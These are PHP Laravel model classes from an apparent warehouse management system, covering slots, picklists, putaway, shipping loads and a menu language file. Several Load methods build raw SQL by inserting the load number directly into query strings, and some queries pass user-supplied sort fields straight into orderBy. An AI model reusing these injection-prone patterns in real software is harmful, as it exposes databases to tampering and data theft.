if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->groupBy('slot_details.slot_id', 'slot_details.sku')
->get();
return $result;
}
public static function getCountSlotDetailsMain($data = array()) {
$query = DB::table('slot_details')
->select(DB::raw('wms_slot_details.slot_id, wms_slot_details.sku, wms_product_lists.upc, wms_product_lists.short_description, SUM(wms_slot_details.quantity) as total_qty, MIN(wms_slot_details.expiry_date) as early_expiry'))
->join('product_lists', 'slot_details.sku', '=', 'product_lists.upc', 'LEFT');
if( CommonHelper::hasValue($data['filter_slot_no']) ) $query->where('slot_id', 'LIKE', '%'.$data['filter_slot_no'].'%');
if( CommonHelper::hasValue($data['filter_prod_sku']) ) $query->where('slot_details.sku', 'LIKE', '%'.$data['filter_prod_sku'].'%');
if( CommonHelper::hasValue($data['filter_prod_upc']) ) $query->where('product_lists.upc', 'LIKE', '%'.$data['filter_prod_upc'].'%');
if( CommonHelper::hasValue($data['filter_date_from']) && CommonHelper::hasValue($data['filter_date_to'])) $query->whereBetween('expiry_date', array($data['filter_date_from'] . ' 00:00:00', $data['filter_date_to'] . ' 23:59:59'));
$result = $query->groupBy('slot_details.slot_id', 'slot_details.sku')
->get();
return $result;
}
public static function getSlotDetails($data = array()) {
$query = DB::table('slot_details')->join('product_lists', 'slot_details.sku', '=', 'product_lists.upc', 'LEFT')
->where('slot_details.slot_id', '=', $data['slot'])
->where('slot_details.sku', '=', $data['sku']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'slot_details.sku';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='short_name') $data['sort'] = 'product_lists.short_description';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getCountSlotDetails($data = array()) {
$query = DB::table('slot_details')->join('product_lists', 'slot_details.sku', '=', 'product_lists.upc', 'LEFT')
->where('slot_details.slot_id', '=', $data['slot'])
->where('slot_details.sku', '=', $data['sku']);
return $query->count();
}
public static function insertData($data = array(), $po_id = NULL) {
SlotDetails::insert($data);
}
/**
* Check if slot exists
*
* @example SlotDetails::_isSlotExist({slot_id})
*
* @param slot_id slot id
* @throws Exception Slot id does not exist
* @return Status
*/
public static function _isSlotExist($slot_id) {
$query = SlotList::where('slot_code', '=', $slot_id)->first();
if(! $query) throw new Exception( 'Slot id does not exist.');
}
public static function _checkQuantity($data = array(), $po_id) {
$query = SlotDetails::join('purchase_order_details', 'slot_details.sku', '=', 'purchase_order_details.sku', 'LEFT')
->where('slot_details.sku', '=', $data['sku'])
->where('purchase_order_details.po_id', '=', $po_id);
$result = $query->sum('quantity');
DebugHelper::log(__METHOD__, $result);
return $result;
}
}<file_sep><?php
class PutAway extends Eloquent {
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'putaway';
/**
* Create transaction in putaway table
*
* @example PutAway::createTransaction()
*
* @return Status
*/
public static function createTransaction($slot_id, $zone_id)
{
$transaction = PutAway::create(array(
'slot_id' => $slot_id,
'zone_id' => $zone_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
));
return $transaction;
}
}<file_sep><?php
class PicklistDetails extends Eloquent {
protected $table = 'picklist_details';
public $timestamps=false;
/**
* Get picklist header, either by store or by sku/upc
*
* @example PicklistDetails::getPickListGrouped();
*
* @return array of skus merged with stores
*/
public static function getPickListGrouped()
{
// $pickingListSKU = self::getAllPickingListBySKU();
$pickingListUPC = self::getAllPickingListByUPC();
$pickingListStore = self::getAllPickingListByStore();
$pickingList = array_merge($pickingListUPC, $pickingListStore);
return $pickingList;
}
/**
* Get picklist Document numbers
*
* @example self::getPicklistDocumentNumbers();
*
* @param $type type that the client is requesting
* @param $skuOrStore sku/upc or store
* @param $id stock piler id
* @return array of document numbers
*/
public static function getPicklistDocumentNumbers($type, $skuOrStore, $id)
{
$query = PicklistDetails::select('picklist_details.move_doc_number as move_doc_number')
->where('move_to_shipping_area', '=', Config::get('letdown_statuses.unmoved'))
->join('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number');
if($type ==='upc') {
$query->where('sku', '=', $skuOrStore)
->where('picklist.type', '=', 'upc');
} else if ($type ==='store') {
$query->where('store_code', '=', $skuOrStore)
->where('picklist.type', '=', 'store');
} else {
throw new Exception("Type parameter is not correct");
}
$documentNumbers = $query->whereIn('assigned_user_id', array(0, $id))
->groupBy('picklist_details.move_doc_number')
->lists('picklist_details.move_doc_number');
return $documentNumbers;
}
/**
* Check and Assign Picklist sku or store group
*
* @example PicklistDetails::checkAndAssign();
*
* @param $docNos Document numbers
* @param $type type that the client is requesting
* @param $skuOrStore sku/upc or store
* @param $id stock piler id
* @return Status
*/
public static function checkAndAssign($docNos,$skuOrStore,$type, $id)
{
$lockTag = time();
$picklistAssigned = self::getSumOfAssigned($docNos,$skuOrStore,$type);
if($picklistAssigned > 0 ) {
$currentlyAssigned = self::getCurrentlyAssigned($docNos,$skuOrStore,$type, array(0, $id));
if(in_array(0, $currentlyAssigned)) {
self::assignPicklist(array_keys($currentlyAssigned), $skuOrStore,$type, $id, $lockTag);
return array_keys($currentlyAssigned);
}
if(in_array($id, $currentlyAssigned)) {
return array_keys($currentlyAssigned);
}
throw new Exception("This upc/store has already been assigned");
} else {
self::assignPicklist($docNos, $skuOrStore,$type, $id, $lockTag);
}
return $docNos;
}
/**
* Check if all moved_qty has value per document numbers.
*
* @example PicklistDetails::checkforEmptySkus();
*
* @param $docNos Document numbers
* @param $skuOrStore sku/upc or store
* @return Status
*/
public static function checkforEmptySkus($docNos,$skuOrStore, $type)
{
$query = PicklistDetails::whereIn('move_doc_number', $docNos);
if($type == 'upc') $query->where('sku', '=', $skuOrStore);
else $query->where('store_code', '=', $skuOrStore);
$status = $query->where('moved_qty', '=', '0')
->lists('moved_qty', 'move_doc_number');
DebugHelper::log(__METHOD__, $query);
// if(CommonHelper::arrayHasValue($status)) throw new Exception("There are UPC's not yet packed.", 1);
return true;
}
/**
* Check only if the user is assigned
*
* @example PicklistDetails::checkOnlyAssigned();
*
* @param $docNos Document numbers
* @param $type type that the client is requesting
* @param $skuOrStore sku/upc or store
* @param $id stock piler id
* @return Status
*/
public static function checkOnlyAssigned($docNos,$skuOrStore,$type, $id)
{
$currentlyAssigned = self::getCurrentlyAssigned($docNos,$skuOrStore,$type, array($id));
if(in_array($id, $currentlyAssigned)) {
return array_keys($currentlyAssigned);
} else {
throw new Exception("This upc or store has already been assigned");
}
}
/**
* Get details if the type of request is by sku
*
* @example PicklistDetails::getDetailBySKU
*
* @param Place Where something interesting takes place
* @param integer How many times something interesting should happen
* @throws Some_Exception_Class If something interesting cannot happen
* @return Status
*/
public static function getDetailBySKU($sku, $docNos)
{
$picklistDetails = PicklistDetails::select(DB::raw("sum(wms_picklist_details.quantity_to_pick) as quantity_to_pick,wms_picklist_details.store_code, wms_stores.store_name "))
->join('stores', 'stores.store_code', '=', 'picklist_details.store_code')
->whereIn('move_doc_number', $docNos)
->where('move_to_shipping_area', '=', Config::get('picking_statuses.unmoved'))
->where('picklist_details.sku', '=', $sku)
->groupBy('picklist_details.store_code')
->get();
return $picklistDetails;
}
public static function getDetailByStore($storeCode, $docNos)
{
$picklistDetails = PicklistDetails::select(DB::raw("sum(wms_picklist_details.quantity_to_pick) as quantity_to_pick,wms_picklist_details.sku, wms_product_lists.description"))
->join('product_lists', 'product_lists.upc', '=', 'picklist_details.sku')
->whereIn('move_doc_number', $docNos)
->where('move_to_shipping_area', '=', Config::get('picking_statuses.unmoved'))
->where('picklist_details.store_code', '=', $storeCode)
->groupBy('picklist_details.sku')
->get();
return $picklistDetails;
}
/**
* Gets details that match the document numbers,store code and sku
*
* @example PicklistDetails::getPicklistDetail()
*
* @param $docNos Document numbers
* @param $storeCode Store Code
* @param $sku SKU/UPC
* @return picklist details
*/
public static function getPicklistDetail($docNos, $storeCode, $sku)
{
$picklistDetails = PicklistDetails::whereIn('move_doc_number', $docNos)
->where('sku', '=', $sku)
->where('store_code', '=', $storeCode)
->where('move_to_shipping_area', '=', Config::get('picking_statuses.unmoved'))
->get();
DebugHelper::log(__METHOD__, $picklistDetails);
return $picklistDetails;
}
/**
* Get all picking list that are grouped by SKU/UPC
*
* @example self::getAllPickingListBySKU()
*
* @return array of upcs
*/
private static function getAllPickingListBySKU()
{
//bump into upc
$result = PicklistDetails::select('picklist_details.sku', 'product_lists.description', 'picklist.type')
->join('product_lists', 'product_lists.upc', '=', 'picklist_details.sku')
->join('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number')
->where('picklist.type', '=', 'sku')
->where('move_to_shipping_area', '=', Config::get('picking_statuses.unmoved'))
->groupBy('picklist_details.sku')
->get()->toArray();
return $result;
}
/**
* Get all picking list that are grouped by SKU/UPC
*
* @example self::getAllPickingListByUPC()
*
* @return array of upcs
*/
private static function getAllPickingListByUPC()
{
//bump into upc
$result = PicklistDetails::select('picklist_details.sku', 'product_lists.description', 'picklist.type')
->join('product_lists', 'product_lists.upc', '=', 'picklist_details.sku')
->join('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number')
->where('picklist.type', '=', 'upc')
->where('move_to_shipping_area', '=', Config::get('picking_statuses.unmoved'))
->groupBy('picklist_details.sku')
->get()->toArray();
return $result;
}
/**
* Get all picking list that are grouped by Store
*
* @example self::getAllPickingListByStore()
*
* @return array of stores
*/
private static function getAllPickingListByStore()
{
$result = PicklistDetails::select('stores.store_name', 'picklist_details.store_code','picklist.type')
->join('stores', 'stores.store_code', '=', 'picklist_details.store_code')
->join('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number')
->where('picklist.type', '=', 'store')
->where('move_to_shipping_area', '=', Config::get('picking_statuses.unmoved'))
->groupBy('picklist_details.store_code')
->get()->toArray();
return $result;
}
/**
* Gets sum of assigned ids, used for check if the group of details has someone assigned to it
*
* @example self::getSumOfAssigned();
*
* @param $docNos Document number
* @param $skuOrStore sku/upc or store
* @param $type type of call the client is asking for
* @return sum of assigned user id
*/
private static function getSumOfAssigned($docNos,$skuOrStore,$type)
{
$query = PicklistDetails::select(DB::raw("sum(wms_picklist_details.assigned_user_id) as assigned_user_id"))
->join('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number')
->whereIn('picklist_details.move_doc_number', $docNos);
if($type ==='upc') {
$query->where('sku', '=', $skuOrStore)
->where('picklist.type', '=', 'upc');
} else if ($type ==='store') {
$query->where('store_code', '=', $skuOrStore)
->where('picklist.type', '=', 'store');
} else {
throw new Exception("Type parameter is not correct");
}
$result = $query->pluck('assigned_user_id');
return $result;
}
/**
* Gets details where the current user has already been assigned
*
* @example self::getCurrentlyAssigned();
*
* @param $docNos Document number
* @param $skuOrStore sku/upc or store
* @param $type type of call the client is asking for
* @param $id Stock piler ids
* @return array of assigned user id and document number
*/
private static function getCurrentlyAssigned($docNos,$skuOrStore,$type, $ids)
{
$query = PicklistDetails::select('picklist_details.move_doc_number as move_doc_number', 'picklist_details.assigned_user_id as assigned_user_id')
->whereIn('picklist_details.move_doc_number', $docNos)
->join('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number');
if($type ==='upc') {
$query->where('sku', '=', $skuOrStore)
->where('picklist.type', '=', 'upc');
} else if ($type ==='store') {
$query->where('store_code', '=', $skuOrStore)
->where('picklist.type', '=', 'store');
} else {
throw new Exception("Type parameter is not correct");
}
$result = $query->whereIn('assigned_user_id', $ids)
->lists('assigned_user_id', 'move_doc_number');
return $result;
}
/**
* Assign to stockpiler
*
* @example self::assignLetdown();
*
* @param $docNos Document number
* @param $skuOrStore sku/upc or store
* @param $type type of call the client is asking for
* @param $id Stock piler id
* @param $lockTag Lock tag
* @return void
*/
public static function assignPicklist($docNos, $skuOrStore, $type, $id,$lockTag)
{
$query = PicklistDetails::select('picklist_details.updated_at as updated_at')
->whereIn('picklist_details.move_doc_number', $docNos)
->join('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number');
if($type ==='upc') {
$query->where('sku', '=', $skuOrStore)
->where('picklist.type', '=', 'upc');
} else if ($type ==='store') {
$query->where('store_code', '=', $skuOrStore)
->where('picklist.type', '=', 'store');
} else {
throw new Exception("Type parameter is not correct");
}
$query->where('assigned_user_id', '=', 0)
->update(array(
'lock_tag' => $lockTag,
'assigned_user_id' => $id,
'picklist_details.updated_at' => date('Y-m-d H:i:s')));
return true;
}
public static function moveToBox($picklistDetailId, $packedQty) {
$picklistDetail = PicklistDetails::where('id', '=', $picklistDetailId)
->first();
$newPackedQty = intval($picklistDetail->moved_qty) + $packedQty;
if($picklistDetail->quantity_to_pick < $newPackedQty) {
throw new Exception("Trying to move quantity greater than quantity to pick");
}
PicklistDetails::where('id', '=', $picklistDetailId)
->update(array('moved_qty'=> $newPackedQty,
'updated_at' => date('Y-m-d H:i:s')));
return;
}
public static function moveToShippingChangeStatus($docNos,$skuOrStore,$type)
{
$query = PicklistDetails::select('picklist_details.updated_at as updated_at')
->whereIn('picklist_details.move_doc_number', $docNos)
->join('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number');
if($type ==='upc') {
$query->where('picklist.type', '=', 'upc')
->where('sku', '=', $skuOrStore);
} else if ($type ==='store') {
$query->where('picklist.type', '=', 'store')
->where('store_code', '=', $skuOrStore);
} else {
throw new Exception("Type parameter is not correct");
}
$query->update(array('move_to_shipping_area' => Config::get('picking_statuses.moved'),
'picklist_details.updated_at' => date('Y-m-d H:i:s')));
return true;
}
/**********for cms*************/
public static function getFilteredPicklistDetail($data, $getCount= false)
{
$query = PicklistDetails::where('picklist_details.move_doc_number', $data['picklist_doc'])
->select(DB::raw('convert(wms_product_lists.sku, decimal(20)) as sku,convert(wms_picklist_details.sku, decimal(20,0)) as upc'),'product_lists.description','stores.store_name','stores.store_code','picklist_details.quantity_to_pick','picklist_details.moved_qty','picklist_details.so_no','picklist_details.from_slot_code','picklist.transfer_no')
->join('picklist','picklist_details.move_doc_number','=','picklist.move_doc_number','left')
->Join('stores', 'stores.store_code', '=', 'picklist_details.store_code', 'left')
->Join('product_lists', 'picklist_details.sku', '=', 'product_lists.upc','left');
if( CommonHelper::hasValue($data['filter_sku']) ) $query->where('picklist_details.sku', 'LIKE', '%'.$data['filter_sku'].'%');
if( CommonHelper::hasValue($data['filter_so']) ) $query->where('product_lists.sku', 'LIKE', '%'.$data['filter_so'].'%');
if( CommonHelper::hasValue($data['filter_from_slot']) ) $query->where('from_slot_code', 'LIKE', '%'.$data['filter_from_slot'].'%');
// if( CommonHelper::hasValue($data['filter_to_slot']) ) $query->where('to_slot_code', 'LIKE', '%'.$data['filter_to_slot'].'%');
// if( CommonHelper::hasValue($data['filter_status_detail']) ) $query->where('move_to_shipping_area', '=', $data['filter_status_detail']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'product_lists.sku';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='so_no') $data['sort'] = 'so_no';
if ($data['sort']=='from_slot_code') $data['sort'] = 'from_slot_code';
// if ($data['sort']=='to_slot_code') $data['sort'] = 'to_slot_code';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
if($getCount) {
$result = $query->count();
}
return $result;
}
public static function getLockTags($data = array(), $getCount=false)
{
$query = PicklistDetails::select(DB::raw('wms_picklist_details.*, wms_users.*, sum(move_to_shipping_area) as sum_moved , sum(wms_picklist_details.moved_qty) as sum_moved_qty'))
->join('users', 'users.id', '=', 'picklist_details.assigned_user_id');
if( CommonHelper::hasValue($data['filter_stock_piler']) ) $query->where('users.id', '=', $data['filter_stock_piler']);
if( CommonHelper::hasValue($data['filter_doc_no'])) $query->where('picklist_details.move_doc_number', 'LIKE', '%'.$data['filter_doc_no'].'%');
if( CommonHelper::hasValue($data['filter_sku']) ) $query->where('picklist_details.sku', 'LIKE', '%'. $data['filter_sku'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='lock_tag') $data['sort'] = 'picklist_details.lock_tag';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
if($getCount) {
$result = $query->count(DB::raw('distinct lock_tag'));
} else {
$query->groupBy('picklist_details.lock_tag');
$result = $query->get();
}
return $result;
}
public static function getLockTagDetails($lockTag)
{
$lockTagDetails = PicklistDetails::where('lock_tag', '=', $lockTag)
->join('stores', 'stores.store_code', '=', 'picklist_details.store_code')
->join('product_lists','product_lists.upc', '=', 'picklist_details.sku' )
->get();
$sumMoved = PicklistDetails::select(DB::raw('sum(move_to_shipping_area) as sum_moved, sum(wms_picklist_details.moved_qty) as sum_moved_qty'))
->where('lock_tag', '=', $lockTag)
->first();
$result = array('details' => $lockTagDetails,
'sum_moved' => $sumMoved['sum_moved'],
'sum_moved_qty' => $sumMoved['sum_moved_qty']);
return $result;
}
public static function unlockTag($lockTags)
{
PicklistDetails::whereIn('lock_tag', $lockTags)
->where('move_to_shipping_area' , '!=', Config::get('picking_statuses.moved'))
->update(array('assigned_user_id'=> 0,
'lock_tag' => 0,
'updated_at' => date('Y-m-d H:i:s')));
return true;
}
/**
* Get Picklist detail by move_doc_number
*
* @example PicklistDetails::getPicklistDetailByDocNo({$docNo})
*
* @param sku move_doc_nmber
* @return array of picklist details by move document number
*/
public static function getPicklistDetailByDocNo($docNo)
{
$picklistDetails = PicklistDetails::select('picklist_details.sku',"product_lists.description", 'store_code', 'move_doc_number', 'from_slot_code','sequence_no', 'quantity_to_pick', 'moved_qty', 'so_no')
->leftJoin('product_lists' , 'product_lists.upc', '=', 'picklist_details.sku')
->where('move_doc_number', '=', $docNo)
->orderBy('from_slot_code', 'asc')
->get();
return $picklistDetails;
}
/**
* Save details by move_doc_number
* @param integer $docNo Picklist document number
* @param json $data Details in json format
* @param integer $user_id id of the user
* @return boolean
*/
public static function saveDetail($docNo, $data, $user_id)
{
$doneId = Dataset::getType(array('data_code' => 'PICKLIST_STATUS_TYPE', 'data_value'=> 'done'))
->toArray();
//UPDATE ssi.wms_letdown_details SET moved_qty = 250, to_slot_code = 'PCK00001', move_to_picking_area = 1
// WHERE from_slot_code = 'CRAC' AND move_doc_number = 8858 AND sku = '2800090900154'
foreach ($data as $key => $value) {
foreach ($value as $v) {
$qtyToMove = $v['moved_qty'];
$boxCode = $v['box_code'];
$sku = $v['sku'];
$fromSlotCode = $v['from_slot_code'];
$sequenceNo = $v['sequence_no'];
$soNo = $v['so_no'];
$picklistDetail = PicklistDetails::where('from_slot_code', '=', $fromSlotCode)
->where('move_doc_number', '=', $docNo)
->where('sku', '=', $sku)
->where('sequence_no', '=', $sequenceNo)
->where('so_no', '=', $soNo)
->first();
$picklistDetail->moved_qty = ($picklistDetail->moved_qty + $qtyToMove);
// $picklistDetail->moved_qty = $qtyToMove;
$picklistDetail->updated_at = date('Y-m-d H:i:s');
# Save picklist to box
BoxDetails::moveToBox($picklistDetail->id, $boxCode,$qtyToMove);
$picklistDetail->save();
$dataAfter = $qtyToMove .' items of '. $sku . ' was packed to ' . $boxCode . "\n";
self::postToPicklistToBoxAuditTrail($dataAfter, $docNo);
}
}
return true;
}
/**
* post audit trail when picklist details are moved to boxes
*
* @example self::postToPicklistToBoxAuditTrail();
*
* @param dataAfter changes that happened to the picklist
* @param docNos document numbers
* @return void
*/
public static function postToPicklistToBoxAuditTrail($dataAfter, $docNo)
{
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.post_picklist_to_box"),
'reference' => "Picklist Document #: " .$docNo,
'data_before' => '',
'data_after' => $dataAfter,
'user_id' => Authorizer::getResourceOwnerId(),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
public static function getPicklistLoad($docNo)
{
$query = PicklistDetails::select('load_details.load_code')
->where('move_doc_number', '=', $docNo)
->join('box_details', 'box_details.picklist_detail_id', '=', 'picklist_details.id')
->join('pallet_details', 'pallet_details.box_code', '=', 'box_details.box_code')
->join('load_details', 'load_details.pallet_code', '=', 'pallet_details.pallet_code')
->distinct()->get()->toArray();
return $query;
}
}
<file_sep><?php
return array(
'menu_wh_receiving' => 'WH Receiving',
'menu_purchase_orders' => 'Purchase Orders',
'menu_inventory' => 'Inventory',
'menu_transfers' => 'Transfers',
'menu_letdown' => 'Letdown',
'menu_picking' => 'Picking / Packing',
'menu_carton' => 'Boxing/Loading',
'menu_load' => 'Shipping',
'menu_str_receiving' => 'STR Receiving',
'menu_store_order' => 'Store Orders',
'menu_store_return' => 'Subloc Transfer',
'menustocktrnsfer' => 'Store Transfer',
'assign_to_stock_piler' => 'Assign to stock piler',
'menu_reports' => 'Reports',
'menu_product_master_list' => 'Product Master List',
'menu_slot_master_list' => 'Slot Master List',
'menu_vendor_master_list' => 'Vendor Master List',
'menu_store_master_list' => 'Store Master List',
'menu_audit_trail' => 'Audit Trail',
'menu_unlisted_list' => 'Unlisted',
'menu_expiry_items' => 'Items with Expiry',
'menu_system' => 'System',
'menu_settings' => 'Settings',
'menu_users' => 'Users',
'menu_user_roles' => 'User Roles',
'menu_profile' => 'Profile',
'menu_change_password' => '<PASSWORD>',
'menu_logout' => 'Logout',
'text_empty_results' => 'No Results Found',
'text_total' => 'Total:',
'text_select' => 'Please Select:',
'text_confirm' => 'Delete selected items?',
'button_signin' => 'Sign in',
'button_search' => 'Search Now',
'button_clear' => 'Clear Filters',
'button_export' => 'Export to PDF',
'button_archive' => 'Archive Logs',
'button_jda' => 'Pull from Data (JDA)',
'button_submit' => 'Submit',
'button_cancel' => 'Cancel',
'button_back' => 'Back to List',
'button_assign' => 'Assign',
'link_view_mts' => 'View MTS',
'link_edit' => 'Edit',
'link_change_password' => '<PASSWORD>',
'title_brand' => 'Rustan Specialist Concept Inc. - eWMS',
'error_delete' => 'Please select the items to be deleted.'
);<file_sep><?php
class Load extends Eloquent {
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'load';
/*****For cms*****/
public static function getLoadCodes()
{
$loadCodes = Load::where('is_shipped', '=', 0)->lists('load_code', 'load_code');
return $loadCodes;
}
public static function getLoadNumbersync()
{
$query=DB::table('load')
->join('load_details','load.load_code','=','load_details.load_code','left')
->where('load.data_value', '=',0)
->where('load.assigned_to_user_id','!=', 0)
->where('load.assigned_by','!=', 0)
->where('load.tagging_load','=', 1)
->update(['load.data_value' =>'1']);
}
public static function getLoadNumbersyncstockmodel()
{
$query=DB::table('load')
->join('load_details','load.load_code','=','load_details.load_code','left')
->where('load.data_value', 0)
->where('load.assigned_to_user_id','!=', 0)
->update(['load.data_value' =>'1']);
}
public static function getLoadShipped($loadnumber)
{
$query=DB::table('load')
->where('load.data_value', 1)
->where('load.is_shipped', 1)
->where('load.assigned_to_user_id','!=', 0)
->where('load.load_code',"$loadnumber")
->update(['load.is_shipped' =>'2']);
}
public static function shippedloadstock($loadnumber)
{
$query=DB::table('load')
->where('load.data_value', 1)
->where('load.is_shipped', 1)
->where('load.assigned_to_user_id','!=', 0)
->where('load.load_code',"$loadnumber")
->update(['load.is_shipped' =>'2']);
}
public static function getloadtagging($taggingload)
{
$query =DB::table('load')
->WHERE('load.load_code', $taggingload)
->update(['load.tagging_load' => '2']);
}
/* public static function getpostedtoBoxOrder($doc_num)
{
$query=DB::select(DB::raw("INSERT INTO wms_store_detail_box (move_doc_number, box_code, upc, quantity_packed, box_status, quantity_pick)
SELECT wms_box.move_doc_number, wms_box.box_code, wms_picklist_details.sku, wms_box_details.moved_qty, wms_box.boxstatus_unload, '0'
from wms_box
LEFT join wms_box_details on wms_box.box_code = wms_box_details.box_code
left join wms_picklist_details on wms_box_details.picklist_detail_id = wms_picklist_details.id
where wms_box.move_doc_number='$doc_num'"));
}*/
public static function getInsertToSelectStrHdr($loadnumber)
{
$query = DB::select(DB::raw("INSERT INTO wms_store_order (store_code, load_code, delivery_date)
SELECT wms_box.store_code, wms_load_details.load_code, wms_load.ship_at
FROM wms_load_details
left join wms_box on wms_load_details.box_number = wms_box.box_code
left join wms_load on wms_load_details.load_code = wms_load.load_code
where wms_load_details.load_code = '$loadnumber' "));
$query = DB::select(DB::raw("INSERT INTO wms_store_order_detail (load_code, box_number, ordered_qty, packed_qty, so_no, sku)
SELECT wms_load_details.load_code, wms_box.box_code, wms_picklist_details.quantity_to_pick, wms_picklist_details.moved_qty, wms_picklist_details.move_doc_number, wms_picklist_details.sku
FROM wms_load_details
left join wms_box on wms_load_details.box_number = wms_box.box_code
left join wms_box_details on wms_box.box_code = wms_box_details.box_code
left join wms_picklist_details on wms_box_details.picklist_detail_id = wms_picklist_details.id
where wms_load_details.load_code = '$loadnumber'"));
}
public static function getSOboxstatus($loadnumber)
{
$query = DB::select(DB::raw("INSERT INTO wms_store_order_detail (move_doc_number, box_code, upc, quantity_packed, box_status, quantity_pick)
SELECT wms_picklist_details.move_doc_number, wms_box_details.box_code, wms_picklist_details.sku, wms_box_details.moved_qty, wms_box.boxstatus_unload as box_status , '0'
FROM wms_load_details
left join wms_picklist_details on wms_load_details.move_doc_number = wms_picklist_details.move_doc_number
left join wms_load on wms_load_details.load_code = wms_load.load_code
LEFT JOIN wms_box_details on wms_picklist_details.id = wms_box_details.picklist_detail_id
left join wms_box on wms_box_details.box_code = wms_box.box_code
where wms_load_details.load_code = '$loadnumber' GROUP by wms_box.box_code "));
}
public static function assignToStockPiler($Box_code = '', $data = array())
{
$query = load::where('load_code', '=', $Box_code)->update($data);
DebugHelper::log(__METHOD__, $query);
}
public static function getLoads()
{
return Load::where('is_shipped', '=', 0)->get(array('id','load_code'));
}
public static function getLoadDataValue($loadnumber) {
$query = DB::SELECT(DB::raw("SELECT data_value from wms_load WHERE load_code='$loadnumber'"));
return $query;
}
public static function getLoadList($load_code, $data = array(), $getCount = false)
{
$query = DB::table('load_details')
->select('load_details.move_doc_number', 'box_details.box_code', 'load_details.load_code','picklist.pl_status','picklist_details.store_code', 'stores.store_name','load.data_value', 'stores.address1')
->join('load','load_details.load_code','=','load.load_code','LEFT')
->join('picklist','load_details.move_doc_number', '=','picklist.move_doc_number','LEFT')
->join('picklist_details','load_details.move_doc_number','=','picklist_details.move_doc_number','LEFT')
->join('stores','picklist_details.store_code','=','stores.store_code','LEFT')
->join ('box_details','picklist_details.id','=','box_details.picklist_detail_id','LEFT')
->where('picklist.type', '=', '1')
->where('load_details.load_code', $load_code);
if( CommonHelper::hasValue($data['filter_load_code']) ) $query->where('load.load_code', 'LIKE', '%'. $data['filter_load_code'] . '%');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('picklist_details.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('picklist_details.store_code', '=', $data['filter_store']);
if( CommonHelper::hasValue($data['filter_data_value']) ) $query->where('load.data_value', 'LIKE', '%'. $data['filter_data_value']. '%');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('picklist_details.move_doc_number');
$result = $query->get();
return $result;
// GROUP_CONCAT(DISTINCT(wms_picklist_details.move_doc_number) SEPARATOR ', ' ) as MASTER_EDU
}
public static function getLoadList2($load_code, $data = array(), $getCount = false)
{
$query = DB::table('load_details')
->select('load_details.box_number','load.*',DB::raw('GROUP_CONCAT(DISTINCT(wms_picklist.move_doc_number) SEPARATOR ", " ) as MASTER_EDU'),'stores.store_code','store_name','stores.address1')
->join('load','load_details.load_code','=','load.load_code','left')
->join('box','load_details.box_number','=','box.box_code','left')
->join('picklist_details','box.move_doc_number','=','picklist_details.move_doc_number','LEFT')
->join('picklist','picklist_details.move_doc_number','=','picklist.move_doc_number','LEFT')
->join('stores','box.store_code','=','stores.store_code','LEFT')
->where('load_details.load_code', $load_code)
->groupBy('box.box_code');
if( CommonHelper::hasValue($data['filter_box_code']) ) $query->where('load_details.box_number', 'LIKE', '%'. $data['filter_box_code'] . '%' );
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('picklist.transfer_no', 'LIKE', '%'. $data['filter_doc_no'] . '%' );
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getExportLoadList($loadnumber, $data=array()) {
$query = DB::table('load')
->select('load.load_code','firstname','lastname','picklist_details.move_doc_number','box.box_code','box.moved_qty','load.updated_at')
->join('load_details','load.load_code','=','load_details.load_code','LEFT')
->join('picklist_details','load_details.move_doc_number','=','picklist_details.move_doc_number','LEFT')
->join('box_details','picklist_details.id','=','box_details.picklist_detail_id','LEFT')
->join('users','assigned_to_user_id','=','users.id','Left')
->WHERE('load_code', $loadnumber);
return $query;
}
public static function getlist($data = array(), $getCount = false)
{
$query = DB::table('load')
->select('load.*','firstname','lastname','load.ship_at','load.assigned_by')
->join('users','assigned_to_user_id','=','users.id','Left')
